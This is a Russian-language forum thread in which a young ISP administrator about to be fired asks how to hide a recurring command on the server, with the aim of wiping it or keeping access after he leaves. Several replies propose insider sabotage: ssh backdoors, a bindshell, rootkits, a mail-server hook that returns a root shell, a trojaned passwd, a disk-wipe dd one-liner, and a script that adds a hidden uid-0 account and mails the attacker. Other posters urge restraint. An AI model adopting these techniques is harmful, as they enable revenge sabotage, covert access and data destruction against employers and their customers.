URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID1
Нить номер: 34304
[ Назад ]

Исходное сообщение
"Скрытное выполнение команды"

Отправлено Stiki , 04-Сен-03 20:09 
Трабл такой, мне надо чтобы моя команда выполнялась раз в сутки, но чтобы это никто не видел. Шеф хочет уволить а мне нужны гарантии. Такое вот дело, можно конечно написать кучу полезных программулин и замаскировать свою под одну из них, но второй админ тоже не дурак.

Содержание

Сообщения в этом обсуждении
"Скрытное выполнение команды"
Отправлено Stiki , 04-Сен-03 20:10 
Уволить правда месяца через 3, после того как я научу другого чела, работать, под предлогом моего помошника, на кого я переложу половину обязанностей :(

"Скрытное выполнение команды"
Отправлено Michael , 04-Сен-03 20:16 
имхо - если второй админ не дурак, то безнадежно!
например, что ему мешает всю систему с нуля переставить? даже не чтобы от твоей закладки избавиться, а просто чтобы, допустим, на новую версию перейти...

как вариант, можно попробовать какую-нибудь регулярно выполняему прогу подменить своей...


"Скрытное выполнение команды"
Отправлено Stiki , 04-Сен-03 20:26 
>имхо - если второй админ не дурак, то безнадежно!
>например, что ему мешает всю систему с нуля переставить? даже не чтобы
>от твоей закладки избавиться, а просто чтобы, допустим, на новую версию
>перейти...
это исключено, шефам очень нравиться мною настроеный сервер, как стабильный так и настроенный. У меня есть своя система для управления им 90% работы она за меня делает, не хотелось бы чтоб в один день просто passwd на руте и всё.

>как вариант, можно попробовать какую-нибудь регулярно выполняему прогу подменить своей...
это вариан, сейчас обдумываю варианты что может выполняться часто


"Скрытное выполнение команды"
Отправлено Michael , 04-Сен-03 20:36 
>это вариан, сейчас обдумываю варианты что может выполняться часто
а еще лучше - не часто, а все время! :)))
например - крон :)

или свой модуль в ядро вкомпили - это вообще не реально найти, имхо...


"Скрытное выполнение команды"
Отправлено Stiki , 04-Сен-03 21:26 
>а еще лучше - не часто, а все время! :)))
>например - крон :)
это я думал. Можно записать log rotate типа того, системные логи, пишу я много и не понятно, так что пару лишних команд строить - расплюнуть.

>или свой модуль в ядро вкомпили - это вообще не реально найти,
>имхо...
Жестоко с точки зрения исполнения - зато насколько мощно!


"Скрытное выполнение команды"
Отправлено Nikolaev D. , 04-Сен-03 20:37 
>>имхо - если второй админ не дурак, то безнадежно!
>>например, что ему мешает всю систему с нуля переставить? даже не чтобы
>>от твоей закладки избавиться, а просто чтобы, допустим, на новую версию
>>перейти...
>это исключено, шефам очень нравиться мною настроеный сервер, как стабильный так и
>настроенный. У меня есть своя система для управления им 90% работы
>она за меня делает, не хотелось бы чтоб в один день
>просто passwd на руте и всё.

Я извиняюсь - ты дурак (и молод, подрастешь - стыдно потом будет). Если ты грамотный специалист - никто увольнять тебя не будет (если начальство только не сумашедшее). В противном случае тебя действительно надо выгнать; а если это начальство долбанутое, переспектив в этой конторе у тебя нет, поэтому увольняйся оттуда как можно быстрее.
А всякие там закладки тебя не спасут: все равно потом все восстановиь даже легче, чем пользоваться тем что ты наваял. А геморой монжно получить бальшой, морду тебе бить конечно не будут, но если город маленький потом никто тебя брать на работу не станет например; потом ты нового админа подставишь просто так, и самому тебе приятно ломать то, на что ты потратил часть своей жизни (единственной между прочим) ??
Правда если тебя хотят кинуть, то постарася из этой конторы свалить как можно быстрей и все-таки без "косяков".


"Скрытное выполнение команды"
Отправлено Stiki , 04-Сен-03 20:49 
>Я извиняюсь - ты дурак (и молод, подрастешь - стыдно потом будет).
>Если ты грамотный специалист - никто увольнять тебя не будет (если
>начальство только не сумашедшее). В противном случае тебя действительно надо выгнать;
>а если это начальство долбанутое, переспектив в этой конторе у тебя
>нет, поэтому увольняйся оттуда как можно быстрее.
>А всякие там закладки тебя не спасут: все равно потом все восстановиь
>даже легче, чем пользоваться тем что ты наваял. А геморой монжно
>получить бальшой, морду тебе бить конечно не будут, но если город
>маленький потом никто тебя брать на работу не станет например; потом
>ты нового админа подставишь просто так, и самому тебе приятно ломать
>то, на что ты потратил часть своей жизни (единственной между прочим)
>??
Ты прав, но после rm -rf / ничего весёлого там не востановишь, я 4 hdd разбил так, что данные все лежат в разных местах кусками востанавливать тоже не дело.

>Правда если тебя хотят кинуть, то постарася из этой конторы свалить как
>можно быстрей и все-таки без "косяков".


Как нестранно я с тобой согласен, пусть немного обидно звучит. Дело такое, канторка действительно гнилая - у них за год переработало более 30 человек, 15 они просто кинули, это меня и не устраивает. Город маленький, хотя работу другую уже нашёл, сейчас надо документы поправить.
А смысл оставаться здесь есть мой сервер - моя гордость. Канал хороший но вот отношение мне не нравиться, когда 3 месяца назад уже знал что они мне ищют замену, мне ещё 12 класс кончать, а они скатывают на экзамены, причём очень неудачно.

И для сравнения дам чуток инфы, моя зарплата - 70$ в месяц. 2 сервера, 300 клиентов, ISP. вот такие пироги, нашёл работу с реально зарплатой, хотя пахать там надо будет будт здоров, и платят хорошо


"Скрытное выполнение команды"
Отправлено Leningrad , 04-Сен-03 20:59 
Для начала ты своему помощнику объясни что его ждет твоя участь.
Наказывать таких кидал, надо но по-другому, прояви фантазию http://www.xakep.ru/post/19535/default.htm

"Скрытное выполнение команды"
Отправлено Stiki , 04-Сен-03 21:12 
>Для начала ты своему помощнику объясни что его ждет твоя участь.
>Наказывать таких кидал, надо но по-другому, прояви фантазию http://www.xakep.ru/post/19535/default.htm


Отличная статейка! 5! Блин, немного садистски, но про жизнь. Приму как вариант.


"Скрытное выполнение команды"
Отправлено alex , 04-Сен-03 20:53 

>Я извиняюсь - ты дурак (и молод, подрастешь - стыдно потом будет).
>Если ты грамотный специалист - никто увольнять тебя не будет (если
>начальство только не сумашедшее). В противном случае тебя действительно надо выгнать;
>а если это начальство долбанутое, переспектив в этой конторе у тебя
>нет, поэтому увольняйся оттуда как можно быстрее.
>А всякие там закладки тебя не спасут: все равно потом все восстановиь
>даже легче, чем пользоваться тем что ты наваял. А геморой монжно
>получить бальшой, морду тебе бить конечно не будут, но если город
>маленький потом никто тебя брать на работу не станет например; потом
>ты нового админа подставишь просто так, и самому тебе приятно ломать
>то, на что ты потратил часть своей жизни (единственной между прочим)
>??
>Правда если тебя хотят кинуть, то постарася из этой конторы свалить как
>можно быстрей и все-таки без "косяков".
  soglasen,
  no esli vse'je situaciia takova chto ti prav to:
    packetstormsecurity.org
i vpered, nachinaia s pereustanovki ssh+backdore zakanchivaia
pravkoi sendmail'ovskogo config'a (chtob esli k primeru
poslati pisimo na zavedomo@hernia.com k tebe vernulsia root shell)
  smotri toliko ne perestaraisia

Alex



"Скрытное выполнение команды"
Отправлено Stiki , 04-Сен-03 21:00 
>  soglasen,
>  no esli vse'je situaciia takova chto ti prav to:
>    packetstormsecurity.org
Ну вариант такой, либо дело обстоит так, либо наоборот, судя по тому, какую зарплату я назвал можно догадаться, какой вариант. Хотя таму челу котого взяли ко мне в помошники платить будут в 5 разбольше, а именно 350-400 $

>i vpered, nachinaia s pereustanovki ssh+backdore
Думаю это лишнее, но тоже вариант, спасибо. Всётаки надо дорожить репутацией.

>zakanchivaia pravkoi sendmail'ovskogo config'a (chtob esli k primeru
>poslati pisimo na zavedomo@hernia.com k tebe vernulsia root shell)
>  smotri toliko ne perestaraisia
Дельное предложение. правда юзаю postfix, но можно почитать что там есть такое, симпатичное за что можно зацепить.

Хотел бы ещё добавить что конторка не пользуется уважением у конкурентов.


"Скрытное выполнение команды"
Отправлено alex , 04-Сен-03 21:11 
>Ну вариант такой, либо дело обстоит так, либо наоборот, судя по тому,
>какую зарплату я назвал можно догадаться, какой вариант. Хотя таму челу
>котого взяли ко мне в помошники платить будут в 5 разбольше,
>а именно 350-400 $
>
  chtoj oni tak starih sotrudnikov ne uvajaiut,
nekrasivo eto

>>i vpered, nachinaia s pereustanovki ssh+backdore
>Думаю это лишнее, но тоже вариант, спасибо. Всётаки надо дорожить репутацией.
>
  togda postavi chto niti po proshe, naprimer
zaporolennii bindshell na kakoinibudi tcp/udp port,
postavi v konce koncov rootkit, oni priachat
voobshe vse (procesi/faili/netstat/i t.d.),
v obshem etogo dobra hvataet

>>zakanchivaia pravkoi sendmail'ovskogo config'a (chtob esli k primeru
>>poslati pisimo na zavedomo@hernia.com k tebe vernulsia root shell)
>>  smotri toliko ne perestaraisia
>Дельное предложение. правда юзаю postfix, но можно почитать что там есть такое,
>симпатичное за что можно зацепить.
>
  da toje samoe, sozdaesh eshe odin class,
i propisvaesh local'inii mailer, toliko
ne procmail a chtoto tipa /usr/X11R6/bin/xterm -... ip:display

>Хотел бы ещё добавить что конторка не пользуется уважением у конкурентов.
  a chto za gorod, gde eto adminu isp platiat 70$ ?

Alex



"Скрытное выполнение команды"
Отправлено Stiki , 04-Сен-03 21:23 
>  chtoj oni tak starih sotrudnikov ne uvajaiut,
>nekrasivo eto
У них так всегда, 2 месяца улыбаются, а потом чем-то неустраиваешь

>  togda postavi chto niti po proshe, naprimer
>zaporolennii bindshell na kakoinibudi tcp/udp port,
>postavi v konce koncov rootkit, oni priachat
>voobshe vse (procesi/faili/netstat/i t.d.),
>v obshem etogo dobra hvataet
Стоящий вариант. Ещё и фаерволом можно порт прикрыть на один ip. Благо ещё и не стандратный. Досадно то что я пароль рута отдать должен. А из нутри у меня всё закрыто. "Муха непролетит" :)

>  da toje samoe, sozdaesh eshe odin class,
>i propisvaesh local'inii mailer, toliko
>ne procmail a chtoto tipa /usr/X11R6/bin/xterm -... ip:display
Бессонная ночь обеспечена

>  a chto za gorod, gde eto adminu isp platiat 70$
Далеко от России, прибалтика. Не всем платят мало, нас работает сейчас у них 2 админа, и оба по 70$ получаем. Одноотличие - у него есть ещё 2 работы, у меня - нет.


"Скрытное выполнение команды"
Отправлено Scott Tiger , 08-Сен-03 13:38 
>Уволить правда месяца через 3, после того как я научу другого чела,
>работать, под предлогом моего помошника, на кого я переложу половину обязанностей
>:(

Я однажды тоже был недоволен зарплатой, отношением и проч. Удалять что-то - это подвести своих коллег, в первую очередь. Поэтому я попросту отмудохал генерального на прощание. Шоб знал.


"Скрытное выполнение команды"
Отправлено Stiki , 04-Сен-03 21:35 
По сути проблема сводиться к тому, чтобы скрыть выполнение поей команды. Я написал целый ряд скриптов, которые отличают меня от постороннего админа. Если я не заходил более 3-4 дней, будет выполнен код для зачистки. Раньше я делал это из cronjob, а теперь root pass я должен отдать, в этоге это не вариант.

Хорошее предложение по поводу мыла, надо посмотреть, чтоб при получении почты этим ящиком, карапузы маст дай, мордовия форева.
:)


"Скрытное выполнение команды"
Отправлено Stiki , 04-Сен-03 23:32 
Тут ещё один мысль пришёл в голову, написать демон. На php сложно, но можно. Тогда встаёт проблема как его в системе закрыть, чтоб невидно было в процессах. ну или покрайней мере как название у процесса php убить ? На что-то другое поменять.

Хотя раз в 5 мин у меня выполняется проверка состояния пользователей, кто в онлайне кто нет, дилтся до 4 минут. Как вы на этот вариант смотрите ?


"Скрытное выполнение команды"
Отправлено Slackuser , 05-Сен-03 02:56 
А не проще просто сервер спалить перед уходом?
Отрезаешь провод от старой клавы, ставишь на него телефонный разъём, втыкаешь что куда надо и звонишь...

Напряжение на клаве - 5V
В телефонной сети при звонке - 100V

Сервер будет работать (без клавы и крысы) пока его не перезапустят...

Ну, а 70$ пусть себе на мороженое оставят.


"Скрытное выполнение команды"
Отправлено NetKnight , 05-Сен-03 03:13 
>А не проще просто сервер спалить перед уходом?
>Отрезаешь провод от старой клавы, ставишь на него телефонный разъём, втыкаешь что
>куда надо и звонишь...
>
>Напряжение на клаве - 5V
>В телефонной сети при звонке - 100V
>
>Сервер будет работать (без клавы и крысы) пока его не перезапустят...
>
>Ну, а 70$ пусть себе на мороженое оставят.

Эээ... Не понял прикола.. .ну порт спалить - особо не страшно, аа сервак и без клавы работать будет, если в биосе об этом прописать. Я вообще сервак в шкаф запираю и по ssh с ним общаюсь.


"Скрытное выполнение команды"
Отправлено Slackuser , 05-Сен-03 21:05 
>Эээ... Не понял прикола.. .ну порт спалить - особо не страшно, аа
>сервак и без клавы работать будет, если в биосе об этом
>прописать. Я вообще сервак в шкаф запираю и по ssh с
>ним общаюсь.
В BIOS прописывать телепатически будешь или как? Если порт сгорел - писать поздно, да и не запустишь ты такой сервак - сгорит-то не порт, а контроллер...

"Скрытное выполнение команды"
Отправлено NetKnight , 05-Сен-03 03:24 
>Трабл такой, мне надо чтобы моя команда выполнялась раз в сутки, но
>чтобы это никто не видел. Шеф хочет уволить а мне нужны
>гарантии. Такое вот дело, можно конечно написать кучу полезных программулин и
>замаскировать свою под одну из них, но второй админ тоже не
>дурак.

Поройся в исходниках passwd и пропиши туда, чтоб через какой-нить открытый порт тебе отсылала этот пароль. Той же аськой (тогда и протокол разобрать придется). Или мыло слала с новым паролем или в файл како-нить откладывала. Потом пересобитаешь passwd и пусть они хоть посинеют меняя пароль. :)

НО!
1. Сразу будет ясно кто виноват!
2. Нормльный админ принимая работу пересоберет весь софт (а конфиги проверив можно оставить тогда это никак не повлияет на работу сервера)и ядро, скачав из достоверных источников, убъет лишних юзеров и процессы, а так же позакрывает все не известные порты.
3. Какое наслаждение от мести?


"Скрытное выполнение команды"
Отправлено Kirill_AG , 05-Сен-03 04:52 

"Скрытное выполнение команды"
Отправлено Kirill_AG , 05-Сен-03 04:52 
Я что-то не понял ЧЕГО именно ты хочешь?
rm -rd или ssh для себя открыть?
Ты определись ЧТО тебе надо, тогда и вопрос задавай.
Лично я так сделаю: в моей конторе Юникс вообще никому не известен, если кого нового брать - вряд ли сразу разберётся и вряд ли толкового кого найдут (новому человеку много не предложат - долларов 300 - на эти деньги администрировать пару юникс серверов и четыре десятка машин мало кто согласится, учитывая, что это только офис, не считая точек). А нервов они мне попортили ой как много. Пока ещё сижу, просто выжидаю. Выжидаю момента, когда всё окончательно осточертеет, момента чтобы побольнее ударить. Так что в моём случае всё наверное решится через daily report. Хотя в ядро на всякий случай что-нибудь добавить тоже не помешает. А результат - лучше всего удалить даже не систему, а то, ради чего она ставилась вместе со всеми конфигурационными файлами. А система пусть остаётся ... какой от неё толк?? А вот если ты грохнешь СУБД, например, Oracle, то даже при условии наличия всех архивных копий это гемор для твоей бывшей фирмы.
Желаю удачи! (искренне)

"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 09:00 
>Я что-то не понял ЧЕГО именно ты хочешь?
>rm -rd или ssh для себя открыть?
>Ты определись ЧТО тебе надо, тогда и вопрос задавай.
>Лично я так сделаю: в моей конторе Юникс вообще никому не известен,
>если кого нового брать - вряд ли сразу разберётся и вряд
>ли толкового кого найдут (новому человеку много не предложат - долларов
>300 - на эти деньги администрировать пару юникс серверов и четыре
>десятка машин мало кто согласится, учитывая, что это только офис, не
>считая точек). А нервов они мне попортили ой как много. Пока
>ещё сижу, просто выжидаю. Выжидаю момента, когда всё окончательно осточертеет, момента
>чтобы побольнее ударить. Так что в моём случае всё наверное решится
>через daily report. Хотя в ядро на всякий случай что-нибудь добавить
>тоже не помешает. А результат - лучше всего удалить даже не
>систему, а то, ради чего она ставилась вместе со всеми конфигурационными
>файлами. А система пусть остаётся ... какой от неё толк?? А
>вот если ты грохнешь СУБД, например, Oracle, то даже при условии
>наличия всех архивных копий это гемор для твоей бывшей фирмы.
>Желаю удачи! (искренне)


Пасиб за понимание. База - больное место, у меня там всё. Вообще я наверное не верно выразился, дело такое - я написал систему управления всем сервером: помер squid - перезапустит, переполнился кэш - почистит, добавили зверя - пропишет и перезагрузит всё что надо. Логи пишет, инфу собирает. Не то чтобы мне её жалко, хрен с этими 3 месяцами что я её писал, другое дело что в этой конторке её оставлять не хочется. Положение у мен незавидное - работаю неофицально, бумаг неподписывал, так что и уволят неподумав. У нас в городе те кто знают Юнихт меня уважают, да и про фирму знают, все в один голос - оставить меня и запралту прибавить. Начальству непонятна ситуация. ЩАс берут админа, он на RH 3 года сисдит, в Юнихах 2 недели. Я его уважаю, подставить его тоже не хочу, но меня не устраивает политика конторки.
Вот такие пироги ...
Единственное что мне надо, это чтоб после моего ухода, моя системка изчезла, больше ничего. Хотя есть как вариант copyright получить. Тоды можно и в суд подать, за нарушение авторских прав.


"Скрытное выполнение команды"
Отправлено alex , 05-Сен-03 09:09 

vspomnil takuiu vesh:
  nohup dd if=/dev/zero of=/dev/hda > /dev/null 2>&1 &

toliko podstavi svoi vint, e.g.: ad0s1 v bsd k primeru

Alex


"Скрытное выполнение команды"
Отправлено boykov , 05-Сен-03 10:07 
>Пасиб за понимание. База - больное место, у меня там всё. Вообще
>я наверное не верно выразился, дело такое - я написал систему
>управления всем сервером: помер squid - перезапустит, переполнился кэш - почистит,
>добавили зверя - пропишет и перезагрузит всё что надо. Логи пишет,
>инфу собирает. Не то чтобы мне её жалко, хрен с этими
>3 месяцами что я её писал, другое дело что в этой
>конторке её оставлять не хочется.
Не оставляй. Если не писал никаких бумаг об устройстве на работу -- никак нельзя доказать, что она принадлежит работодателю. Осторожненько снимай и оставляй стандартные средства управления и мониторинга. В конце концов новому админу будут платить больше -- пусть и разбирается. Или оставь систему ему, если очень хорошие приятели, но за ОЧЕНЬ большое пиво :)
Снять любую систему довольно легко, да поможет тебе rm

Если система не привязана к конкретной инсталляции, поставишь ее на новом месте.

>Положение у мен незавидное - работаю
>неофицально, бумаг неподписывал, так что и уволят неподумав. У нас в
>городе те кто знают Юнихт меня уважают, да и про фирму
>знают, все в один голос - оставить меня и запралту прибавить.
>Начальству непонятна ситуация. ЩАс берут админа, он на RH 3 года
>сисдит, в Юнихах 2 недели. Я его уважаю, подставить его тоже
>не хочу, но меня не устраивает политика конторки.
То есть подлянку хочешь сделать не админу, а его начальнику. Тут и надо копать. Он под виндой? Бэекдор на нее надо учить ставить? Поотвечать от его имени на _весь_ спам, который, есть можно? Вирей ему напустить? В автозагрузку прописать "а ну ка удали мне файлики из рабочей папки 20 декабря" (или когда там у вас начинается отчетность?) Поменяй объект нападения в соответсвии с желанием... И очень хорошо замаскируй все.

>Вот такие пироги ...
>Единственное что мне надо, это чтоб после моего ухода, моя системка изчезла,
>больше ничего. Хотя есть как вариант copyright получить. Тоды можно и
>в суд подать, за нарушение авторских прав.
Проще просто снять систему. закопирайтить быстро не получится. кроме того, тут есть тонкости: к примеру если используешь GNU компилер, то и система должна идти под GNUPL, ну и так далее.


"Скрытное выполнение команды"
Отправлено Nikolaev D. , 05-Сен-03 10:48 
Такс, кто тут у нас с mobiscar.ru ? :))

"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 17:04 
Редактить начну с последнего.

>Не оставляй. Если не писал никаких бумаг об устройстве на работу --
>никак нельзя доказать, что она принадлежит работодателю. Осторожненько снимай и оставляй
>стандартные средства управления и мониторинга. В конце концов новому админу будут
>платить больше -- пусть и разбирается. Или оставь систему ему, если
>очень хорошие приятели, но за ОЧЕНЬ большое пиво :)
>Снять любую систему довольно легко, да поможет тебе rm
>
>Если система не привязана к конкретной инсталляции, поставишь ее на новом месте.
Вообще система написана под любую ось только расположение файлов указать и всё. Все файлы делаются из базы. Веб панель, только задания из cron проверяются, если есть что менять, то в 00 секунд поменяет.

>То есть подлянку хочешь сделать не админу, а его начальнику. Тут и
>надо копать. Он под виндой? Бэекдор на нее надо учить ставить?
>Поотвечать от его имени на _весь_ спам, который, есть можно? Вирей
>ему напустить? В автозагрузку прописать "а ну ка удали мне файлики
>из рабочей папки 20 декабря" (или когда там у вас начинается
>отчетность?) Поменяй объект нападения в соответсвии с желанием... И очень хорошо
>замаскируй все.
Садистский метод, насажать зверей на машину. Но уже пробовал, msblast 2 недели жил, и без проблем. Сами решайте :)

>Проще просто снять систему. закопирайтить быстро не получится. кроме того, тут есть
>тонкости: к примеру если используешь GNU компилер, то и система должна
>идти под GNUPL, ну и так далее.
Не тут у меня всё на php без компиляторов. В этом плане всё проше, весь код мой.


"Скрытное выполнение команды"
Отправлено kirill , 05-Сен-03 13:45 
>Трабл такой, мне надо чтобы моя команда выполнялась раз в сутки, но
>чтобы это никто не видел. Шеф хочет уволить а мне нужны
>гарантии. Такое вот дело, можно конечно написать кучу полезных программулин и
>замаскировать свою под одну из них, но второй админ тоже не
>дурак.
Я бы пользовал такой вариант
скрипт (схема) назыв. /usr/include/.../xaker.h
if (изменен /etc/shadow) {
echo "xaker:x:0:0::/home/xxx:/bin/bash >> /etc/password #права root для xaker
echo "xaker:::0:99999:7::: >> /etc/shadow
mail -s 'change' xaker@mail.ru # себе сообщение
}
Взять какую-нибудь прогу исполняющуюся при restart (/etc/init.d/...) или в cron
напр. proga
mv proga proga2
a text proga = {#!/bin/sh
/usr/include/.../xaker.h
proga2 # конечно она не должна висеть
exit
}
Таким образом этот комп будет доступен любому идиоту знающему login xaker



"Ну, что могу предложить..."
Отправлено graf , 05-Сен-03 14:52 
В треде грамотно сказали, что надо просто снимать свою прогу. Доработаешь месяцок, поработав ручками и всё.

А касательно всех остальных предложений типа: смутировать ядро, вписать в sendmail.cf и прочие создания дыр...

Когда я приходил на работку здесь всё прекрасно работало, хосты лукапились, мосты рутились, юзверы довольные етц. Но я очень бысто убедил начальника, что всё надо менять... потому что хуже обиженного админа (а админы они такие: обиддется на всё могут...), только обиженный бухгалтер и то не факт... И первым делом снёс бздю с файрволом, и поставил полностью заново, даже тачку сменил. А потом и остальные серваки. И в результате работает не хуже, да и мне понятнее что и как.

А на постскриптум... не знаю как там в прибалтике, а в Питере... ну, не пристрелят, а вот засадить на трое суток в обезьянник без права звонков, без еды и с мордобоем стоит баксов 300. А уголовку завести 5 штук (с гарантированными "крестами")... Так что поаккуратнее %)


"Скрытное выполнение команды"
Отправлено к , 05-Сен-03 15:16 
Вроде сайт не про то о чём здесь решил поведать обиженный старшеклассник. Для этого существует море различных чатов для этого возраста (ужо погоди и я твой игрушки сломаю!). Или я не прав, господа инженеры?

"Скрытное выполнение команды"
Отправлено NetKnight , 05-Сен-03 15:55 
Самым правильным имхо было бы оставить систему рабочей, но не автоматизированой. Твои скрипты - то их и забирай, как свои инструменты..
Ты имеешь на это право, т.к. до передачи тоё дело, чтоб всё работало. А что будет потом тебя не волнует. Я так и сделал, когда 2 недели назад увольнялся. У меня подобная беда была, вместа меня взяли мужика с кучей старых сертифекатов, но он в серверах вообще ничего не понимает, зато зарплату в 2 раза больше. Он 2 недели меня парил, чтоб я ему объяснил как это всё работает. Я сказал, что моё дело только передать, система какое-то время будет работать, но следить за ней надо, т.к. скрипты я поснимал. (Например, когда логи весь винт займут, вырубится сквид и весь хтмл с ним, он даже этого не осилит) Сделай тоже самое и совесть чиста будет и претензий не к кому предьявлять будет..

"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 17:00 
>Самым правильным имхо было бы оставить систему рабочей, но не автоматизированой. Твои
>скрипты - то их и забирай, как свои инструменты..
>Ты имеешь на это право, т.к. до передачи тоё дело, чтоб всё
>работало. А что будет потом тебя не волнует. Я так и
>сделал, когда 2 недели назад увольнялся. У меня подобная беда была,
>вместа меня взяли мужика с кучей старых сертифекатов, но он в
>серверах вообще ничего не понимает, зато зарплату в 2 раза больше.
>Он 2 недели меня парил, чтоб я ему объяснил как это
>всё работает. Я сказал, что моё дело только передать, система какое-то
>время будет работать, но следить за ней надо, т.к. скрипты я
>поснимал. (Например, когда логи весь винт займут, вырубится сквид и весь
>хтмл с ним, он даже этого не осилит) Сделай тоже самое
>и совесть чиста будет и претензий не к кому предьявлять будет..
>

Пасибо это и учту.


"Скрытное выполнение команды"
Отправлено dawnshade , 05-Сен-03 17:05 
>Самым правильным имхо было бы оставить систему рабочей, но не автоматизированой. Твои
>скрипты - то их и забирай, как свои инструменты..
>Ты имеешь на это право, т.к. до передачи тоё дело, чтоб всё
>работало. А что будет потом тебя не волнует. Я так и
>сделал, когда 2 недели назад увольнялся. У меня подобная беда была,
>вместа меня взяли мужика с кучей старых сертифекатов, но он в
>серверах вообще ничего не понимает, зато зарплату в 2 раза больше.
>Он 2 недели меня парил, чтоб я ему объяснил как это
>всё работает. Я сказал, что моё дело только передать, система какое-то
>время будет работать, но следить за ней надо, т.к. скрипты я
>поснимал. (Например, когда логи весь винт займут, вырубится сквид и весь
>хтмл с ним, он даже этого не осилит) Сделай тоже самое
>и совесть чиста будет и претензий не к кому предьявлять будет..
>

Абсолютно согласен. Именно так и делал когда пытался уволиться - вытер все скрипты, всю автоматизацию - минимум работоспособности. Правда потом все пришлось обратно восстанавливать :) ибо как хватило ума з/п поднять. Причем типа грю: увольняюсь, в ответ - ищи замену, найдешь, объяснишь, можешь быть свободен.. Нет, товарищи, грю - эт ваши проблемы, я не отдел кадров и не получаю з/п за чье-то обучение...

Кстати, познавательный трэд для начальства, пойти распечатать чтоль :)


"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 17:11 
>Абсолютно согласен. Именно так и делал когда пытался уволиться - вытер все
>скрипты, всю автоматизацию - минимум работоспособности. Правда потом все пришлось обратно
>восстанавливать :) ибо как хватило ума з/п поднять. Причем типа грю:
>увольняюсь, в ответ - ищи замену, найдешь, объяснишь, можешь быть свободен..
>Нет, товарищи, грю - эт ваши проблемы, я не отдел кадров
>и не получаю з/п за чье-то обучение...
>
>Кстати, познавательный трэд для начальства, пойти распечатать чтоль :)


Как бы конфиги у squid надо оставить, так же ipfw, а вот скрипт который всё это дело облагораживает, надо забрать, весь сервер работает только потому что демон каждую менуту проверяет состояние всех служб, если померло целый ряд действией сделает, потом проверяет, если нет, другой ряд, описал на все случаи жизни. Думаю потом по GPL всем отдам, может кто из вас присоединится к разработке. На домашний комп накоплю :(


"Скрытное выполнение команды"
Отправлено NetKnight , 05-Сен-03 17:26 
>Как бы конфиги у squid надо оставить, так же ipfw, а вот
>скрипт который всё это дело облагораживает, надо забрать, весь сервер работает
>только потому что демон каждую менуту проверяет состояние всех служб, если
>померло целый ряд действией сделает, потом проверяет, если нет, другой ряд,
>описал на все случаи жизни. Думаю потом по GPL всем отдам,
>может кто из вас присоединится к разработке. На домашний комп накоплю
>:(


Я бы к разработке дистра, как готового сервака бы присоединился. Чтоб в нём все скрипты бы уже были готовы и инсталляшка попроще и более простой процесс конфигурации ядра и менюшка для работы с модулями, например через ncurses как у Линуха. Вообщем, чтоб отшлифовать на одной машине, а потом просто образ залить на ЦД и ставить с него за пару минут. Но я ещё с Линуха не до конца на ФРЯху перепрыгнул, по этому ещё не волшебник, а только учусь.. :)


"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 17:35 
>Я бы к разработке дистра, как готового сервака бы присоединился. Чтоб в
>нём все скрипты бы уже были готовы и инсталляшка попроще и
>более простой процесс конфигурации ядра и менюшка для работы с модулями,
>например через ncurses как у Линуха. Вообщем, чтоб отшлифовать на одной
>машине, а потом просто образ залить на ЦД и ставить с
>него за пару минут. Но я ещё с Линуха не до
>конца на ФРЯху перепрыгнул, по этому ещё не волшебник, а только
>учусь.. :)

По мылу написал. Я пишу всё на пхп, что скажет что нельзя сделать всё грамотно, пусть первым в меня камень кинет. Я хочу, и я сделаю. Хостинг взял себе, функции для веб-панели написал(мне так проще начать с веба), потом настройки системы по мере нахождения времени буду дописывать. Обазцы конфигов благо кто-то когда-то скидывал, может советы буду спрашивать. И пусть буржуи себе х... засунут в ж... у нас не хуже и бесплатно.


"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 17:17 
>Кстати, познавательный трэд для начальства, пойти распечатать чтоль :)

Печатай печатай, кстати никто небыл на колмогоровских чтениях в Москве ? Я там представлял, дикую но рабочу версию своей системы.


"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 17:15 
>Вроде сайт не про то о чём здесь решил поведать обиженный старшеклассник.
>Для этого существует море различных чатов для этого возраста (ужо погоди
>и я твой игрушки сломаю!). Или я не прав, господа инженеры?

Я ещё не обижен, только собираюсь. И не про то что всем всё сломаю, не очень то хочется чтоб тебя продинамили, сам то как думаешь ? Когда на работу брали, я столько идей хотел воплотить, влоть до странички каждому с веб-интерфейсов, мыло и тд, на самбе доступ к фтп, чтоб для своих было хорошо. А потом началось .... понеслась ... по трубам


"Скрытное выполнение команды"
Отправлено deadmoroz2 , 05-Сен-03 16:14 
Это в какой прибалтийской стране за 2 сервера и 300 юзеров админу платят 70$? По молодости что ли? А что на этих серверах крутится?
Но, ИМХО, портить свою репутацию оставлением дырявой системы или убиванием базы, дело неблагодарное. Аукнется потом самому же.

"Скрытное выполнение команды"
Отправлено Nikolaev D. , 05-Сен-03 16:32 
>Это в какой прибалтийской стране за 2 сервера и 300 юзеров админу
>платят 70$?
А далеко ли до Таллинна ? :)

"Скрытное выполнение команды"
Отправлено A Clockwork Orange , 05-Сен-03 16:39 
Вот развели бодягу, Лавра на Вас нет.

Как не делай, один черт понятно будет ясно откуда ноги ростут.
И гемор другому админу обеспечен.

А коль создал такую охрененную систему, то не уж что как сломать ее не найдешь. Жаль, не жаль.

Задокументируй, напиши заметку, народ спасибо скажет, не в этом ли соль юниксоидов.

А ломать не строить.
Наоборот какой кайф ощущать, что твая система работает все еще без тебя !!!
А свалиться она и сама свалиться когда-нибудь, если новый адимнистратор не переставит.
А ломать копи не пустое.

Бл... если бы все ломали что делали... какой "кайф" бы в стране был!


"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 17:05 
>Вот развели бодягу, Лавра на Вас нет.
>
>Как не делай, один черт понятно будет ясно откуда ноги ростут.
>И гемор другому админу обеспечен.
>
>А коль создал такую охрененную систему, то не уж что как сломать
>ее не найдешь. Жаль, не жаль.
>
>Задокументируй, напиши заметку, народ спасибо скажет, не в этом ли соль юниксоидов.
>
>
>А ломать не строить.
>Наоборот какой кайф ощущать, что твая система работает все еще без тебя
>!!!
>А свалиться она и сама свалиться когда-нибудь, если новый адимнистратор не переставит.
>
>А ломать копи не пустое.
>
>Бл... если бы все ломали что делали... какой "кайф" бы в стране
>был!

